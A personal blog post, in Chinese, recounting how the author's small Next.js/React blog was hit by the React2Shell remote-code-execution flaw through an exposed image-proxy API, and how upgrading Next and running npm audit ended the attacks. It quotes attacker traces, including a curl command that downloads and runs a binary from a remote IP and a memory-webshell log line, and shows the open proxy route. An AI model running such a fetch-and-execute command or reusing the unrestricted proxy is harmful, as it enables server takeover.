被入侵的 Nextjs、React 服务器经历

힘센캥거루
2026년 1월 14일(수정됨)
3
42

我最初接触到这次安全问题是在 12 月 5 日凌晨。

据说在 React 中可以在未认证的情况下进行远程代码执行。

看到这条新闻后,我虽然告诉了别人,但总觉得自己应该没事,就什么想法也没有地略过了。

被入侵的 Nextjs、React 服务器经历-1

1. 发现被入侵的痕迹

结果当我想登录更新博客代码时,在终端里发现了有命令被执行过的痕迹。

/bin/sh: powershell: command not found
 ⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found
] {
  status: 127,
  signal: null,
  output: [Array],
  pid: 66631,
  stdout: <Buffer >,
  stderr: <Buffer 2f 62 69 6e 2f 73 68 3a 20 70 6f 77 65 72 73 68 65 6c 6c 3a 20 63 6f 6d 6d 61 6e 64 20 6e 6f 74 20 66 6f 75 6e 64 0a>,
  digest: '3337667987'
}
/bin/sh: powershell: command not found
 ⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found

调试这段代码后发现,它试图通过 curl 命令下载恶意文件并执行。

找出了 api 的漏洞,然后把对应的 api 全部关掉了。

curl -s http://154.17.26.41:15932/gund -o /tmp/gund && chmod +x /tmp/gund && /tmp/gund

漏洞出在内部代理服务器上,是一种同时插入图片和脚本来执行命令的方式。

这个代理 api 已经关掉了,也从中体会到 api 绝对不能随便暴露在外部。

// app/api/link-preview/image-proxy/route.ts
...
export async function GET(req: Request) {
  try {
    const { searchParams } = new URL(req.url)
    const target = searchParams.get('url')
    if (!target) return NextResponse.json({ error: 'url required' }, { status: 400 })

    const u = new URL(target)
    if (!ALLOWED_PROTOCOLS.has(u.protocol)) {
      return NextResponse.json({ error: 'invalid protocol' }, { status: 400 })

    const res = await fetch(u, {
      headers: { 'User-Agent': UA },
      redirect: 'follow',
      cache: 'no-store',
    })
    if (!res.ok || !res.body) {
      return NextResponse.json({ error: `Upstream ${res.status}` }, { status: 502 })
    }
...

2. React2Shell 攻击

之后,即使我不断修补漏洞,攻击还是持续不断地打过来。

有一次,终端里出现了这样的日志。

[MemShell] Loaded successfully (ESM compatible + stealth UA)

因为是第一次看到这种日志,就去问了 AI,对方说这是黑客在攻击中经常使用的一种内存 WebShell。

我试过重启 nodejs、删除全部 npm 包再重新安装、还重启了服务器。

但攻击依然络绎不绝,在苦思对策的当口,我突然想到自己一直没升级 next 和 react。

于是用 npm 检查并修补了漏洞。

npm audit
npm audit fix

之后再运行服务器,终端里就再也没有出现过奇怪的日志。

3. 心得

我也不明白,一个我自己运营、一天连 50 个访问量都不到的博客,有什么好看的,居然被不停地盯上。

当然,很可能是扫描机器人在自动探测漏洞然后持续发起攻击,但还是让人非常烦躁。

而且我也意识到,一旦发现漏洞,立刻响应和处理是多么重要。

把 next 从 15 升到 16 的过程中,确实有不少地方需要修改,挺麻烦的,但相比之下,安全要重要得多。

以后得经常去 GeekNews 逛逛了。

관련 글

Next.js 全栈博客开发记
Next.js 全栈博客开发记
在第一次接触网页开发大约 1 年之后,我开始想着想要拥有一个属于自己的博客。于是我就大概花了 6 个月几乎只埋头做这件事。前端部分的功能,参考金度亨先生的博客就已经足够了。我用 mdx 搭建起一个博客,其实连一周都没花到。事实上,仅靠前端也并不会给博客运营带来什么大问题。有一阵子我也觉得,只要写 m...
使用 Caddy 实现 Next.js 无停机部署(本地服务器)
使用 Caddy 实现 Next.js 无停机部署(本地服务器)
每次一有想在主页上加点什么的念头就去 build,结果中间好像偶尔会有人访问。于是 Search Console 上的分数开始一点点往下掉。觉得这样不行,就开始思考要怎么做无停机部署。1. 两个项目文件夹 + 两个终端答案出乎意料地简单:开两个终端。在一个终端里 build,另一个终端里让服务器跑着...
谷歌搜索索引自动化 - Web Search Indexing API
谷歌搜索索引自动化 - Web Search Indexing API
继上次搞完 IndexNow 之后,也决定在谷歌这边做一下自动化。查了一下,发现谷歌是通过一个叫 Web Search Indexing 的 API 来支持这个功能的。1. 适用范围官方文档中,这个 API 正式支持的范围是招聘公告和流媒体视频服务。说是为了给对实时性要求高的内容创建索引用的,但搜了...
搜索索引生成自动化 - IndexNow
搜索索引生成自动化 - IndexNow
在向 Bing 提交站点收录时才发现,Bing 提供了一个叫做 IndexNow 的功能。核心在于,可以利用 API Key,在写完文章的瞬间就立刻发起索引请求。只要用 fetch 写出类似下面这样的请求,并把它串联到「写文章」流程里,就可以在把文章保存到 DB 的同时发送索引生成请求。POST /...
在博客中添加多语言功能(NextJS、next-intl、Vercel AI SDK)
在博客中添加多语言功能(NextJS、next-intl、Vercel AI SDK)
最近我觉得博客需要多语言功能。于是决定用 next-intl 来实现多语言服务。1.i18n首先,在做多语言服务时有一些必须遵守的原则。这被称为 internationalization,单词太长,所以把首字母 i 和尾字母 n,以及中间 18 个字母合在一起,写成 i18n。1) i18n 的原则...
配置 Nextjs 的多语言支持
配置 Nextjs 的多语言支持
为了增加我的博客的访问量,我考虑尝试设置多语言。找到了多种方法,首先的一步是为语言设置不同的路由。决定使用 next-intl 来实现。1. 安装 yarn add next-intl 2. 应用...

댓글을 불러오는 중...